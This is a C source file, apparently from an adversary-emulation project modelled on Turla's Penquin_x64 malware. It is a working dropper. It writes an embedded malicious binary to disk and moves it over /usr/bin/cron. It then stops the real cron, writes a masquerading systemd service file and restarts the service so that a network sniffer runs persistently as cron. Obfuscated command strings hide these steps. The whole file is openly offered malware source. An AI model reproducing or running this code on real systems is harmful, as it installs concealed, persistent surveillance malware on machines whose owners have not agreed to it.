-
Notifications
You must be signed in to change notification settings - Fork 21
Expand file tree
/
Copy pathmain.c
More file actions
248 lines (235 loc) · 9.21 KB
/
main.c
File metadata and controls
248 lines (235 loc) · 9.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
/*
* main.c:
* About:
* Initial Execution:
* 1. Obfuscates strings using an encrypt function (leverages crypt.h)
* 2. Writes malicious payload to disk
* 3. Moves malicious payload into a less inconspicuous location + adds executable permissions
* 4. Write a service file
* 5. Stop, reload, and start the cron system service
* MITRE ATT&CK Techniques:
* T1027 : Obfuscated Files or Information
* T1036.004: Masquerading: Masquerade Task or Service
* T1059.004: Command and Scripting Interpreter: Unix Shell
* T1543.002: Create or Modify System Process: Systemd Service
* T1222: File and Directory Permissions Modification
* T1027.008: Obfuscated Files or Information: Stripped Payloads
* T1027.009: Obfuscated Files or Information: Embedded Payloads
* Result:
* Returns 0 if successful, returns a 1 if not.
* If successful, systemd executes our malicious binary as cron, our malicious binary executes cron as a child process, and the sniffer is installed on ETH0 interface.
* CTI:
* https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//malicious binary saved as a c-formatted byte array in a header file
#include "cron.h"
//macro cipher
#include "crypt.h"
//concatenate ALL the strings function
char * concatStrings( const char *a,
const char *b,
const char *c,
const char *d,
const char *e,
const char *f,
const char *g,
const char *h,
const char *i,
const char *j,
const char *k,
const char *l,
const char *m,
const char *n,
const char *o,
const char *p
){
size_t len = strlen(a) +
strlen(b) +
strlen(c) +
strlen(d) +
strlen(e) +
strlen(f) +
strlen(g) +
strlen(h) +
strlen(i) +
strlen(j) +
strlen(k) +
strlen(l) +
strlen(m) +
strlen(n) +
strlen(o) +
strlen(p);
char* str = malloc(len + 1);
strcpy(str, a);
strcat(str, b);
strcat(str, c);
strcat(str, d);
strcat(str, e);
strcat(str, f);
strcat(str, g);
strcat(str, h);
strcat(str, i);
strcat(str, j);
strcat(str, k);
strcat(str, l);
strcat(str, m);
strcat(str, n);
strcat(str, o);
strcat(str, p);
return str;
}
// MITRE ATT&CK Techniques:
// T1027: Obfuscated Files or Information
// References: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
// Obfuscate strings in memory
int do_start(){
char mvCMD[] = __ENCRYPT64("mv ./cron /usr/bin/cron");
char addxCMD[] = __ENCRYPT64("chmod +x /usr/bin/cron");
char stopcCMD[] = __ENCRYPT64("systemctl stop cron");
char serviceCMD[] = __ENCRYPT64("cat > /etc/systemd/system/cron.service <<EOF\n\0");
char serviceCMD1[] = __ENCRYPT64("[Unit]\n\0");
char serviceCMD2[] = __ENCRYPT64("Description=Regular background program processing daemonb\n\0");
char serviceCMD3[] = __ENCRYPT64("Documentation=man:cron(8)\n\0");
char serviceCMD4[] = __ENCRYPT64("After=remote-fs.target nss-user-lookup.target\n\0");
char serviceCMD5[] = __ENCRYPT64("\n\0");
char serviceCMD6[] = __ENCRYPT64("[Service]\n");
char serviceCMD7[] = __ENCRYPT64("EnvironmentFile=-/etc/default/cron\n\0");
char serviceCMD8[] = __ENCRYPT64("ExecStart=/usr/bin/cron -f $EXTRA_OPTS\n\0");
char serviceCMD9[] = __ENCRYPT64("IgnoreSIGPIPE=false\n\0");
char serviceCMD10[] = __ENCRYPT64("KillMode=process\n\0");
char serviceCMD11[] = __ENCRYPT64("Restart=on-failure\n\0");
char serviceCMD12[] = __ENCRYPT64("\n\0");
char serviceCMD13[] = __ENCRYPT64("[Install]\n");
char serviceCMD14[] = __ENCRYPT64("WantedBy=multi-user.target\n\0");
char serviceCMD15[] = __ENCRYPT64("EOF\0");
char reloadCMD[] = __ENCRYPT64("systemctl daemon-reload\0");
char restartcronCMD[] = __ENCRYPT64("systemctl start cron\0");
int result=0;
// MITRE ATT&CK Techniques:
// T1027: Obfuscated Files or Information
// T1059.004: Command and Scripting Interpreter: Unix Shell
// T1036.004: Masquerading: Masquerade Task or Service
// References: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
// Move our malicous binary to where cron would be expected to be seen on the system.
result = system(__DECRYPT64(mvCMD));
if (result == -1){
return(result);
}
// MITRE ATT&CK Techniques:
// T1059.004: Command and Scripting Interpreter: Unix Shell
// T1027: Obfuscated Files or Information
// T1222: File and Directory Permissions Modification
// References: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
// Add executable permissions
result = system(__DECRYPT64(addxCMD));
sleep(2);
if (result == -1){
return(result);
}
// MITRE ATT&CK Techniques:
// T1059.004: Command and Scripting Interpreter: Unix Shell
// T1027: Obfuscated Files or Information
// References: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
// Stop the current running cron to free up resources
result = system(__DECRYPT64(stopcCMD));
sleep(2);
if (result == -1){
return(result);
}
// MITRE ATT&CK Techniques:
// T1059.004: Command and Scripting Interpreter: Unix Shell
// T1027: Obfuscated Files or Information
// T1543.002: Create or Modify System Process: Systemd Service
// References: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
// Add the cron service file to /etc/systemd/system/
char* fullserviceCMD = concatStrings(
__DECRYPT64(serviceCMD),
__DECRYPT64(serviceCMD1),
__DECRYPT64(serviceCMD2),
__DECRYPT64(serviceCMD3),
__DECRYPT64(serviceCMD4),
__DECRYPT64(serviceCMD5),
__DECRYPT64(serviceCMD6),
__DECRYPT64(serviceCMD7),
__DECRYPT64(serviceCMD8),
__DECRYPT64(serviceCMD9),
__DECRYPT64(serviceCMD10),
__DECRYPT64(serviceCMD11),
__DECRYPT64(serviceCMD12),
__DECRYPT64(serviceCMD13),
__DECRYPT64(serviceCMD14),
__DECRYPT64(serviceCMD15)
);
result = system(fullserviceCMD);
sleep(2);
if (result == -1){
return(result);
}
free(fullserviceCMD);
// MITRE ATT&CK Techniques:
// T1059.004: Command and Scripting Interpreter: Unix Shell
// T1027: Obfuscated Files or Information
// References: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
// Reload the resources cron service uses
result = system(__DECRYPT64(reloadCMD));
sleep(2);
if (result == -1){
return(result);
}
// MITRE ATT&CK Techniques:
// T1059.004: Command and Scripting Interpreter: Unix Shell
// T1027: Obfuscated Files or Information
// T1543.002: Create or Modify System Process: Systemd Service
// T1036.004: Masquerading: Masquerade Task or Service
// References: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
// Start the cron service to execute our sniffer which executes real cron as a child process
result = system(__DECRYPT64(restartcronCMD));
if (result == -1){
return(result);
}
return result;
}
/*
* write_file():
* About:
* Writes a malicous binary to disk named cron.
* MITRE ATT&CK Tecnhiques:
* T1027.008: Obfuscated Files or Information: Stripped Payloads
* T1027.009: Obfuscated Files or Information: Embedded Payloads
* T1036.004: Masquerading: Masquerade Task or Service
* Result:
* Returns 0 if successful, returns a -1 if not.
* If successful, the file was written to disk.
* CTI:
* https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+“Penquin_x64”.pdf
*/
int write_file(){
FILE * fp;
int result = 0;
fp = fopen("cron", "w");
if(fp == NULL)
{
return(result);
}
fwrite(cron , 1 , cron_len , fp );
fclose(fp);
return result;
}
int main(){
int result =0;
//write the file to disk
result = write_file();
sleep(2);
if (result == -1){
return 1;
}
//perform startup commands with system()
result = do_start();
if (result == -1){
return 1;
}
return 0;
}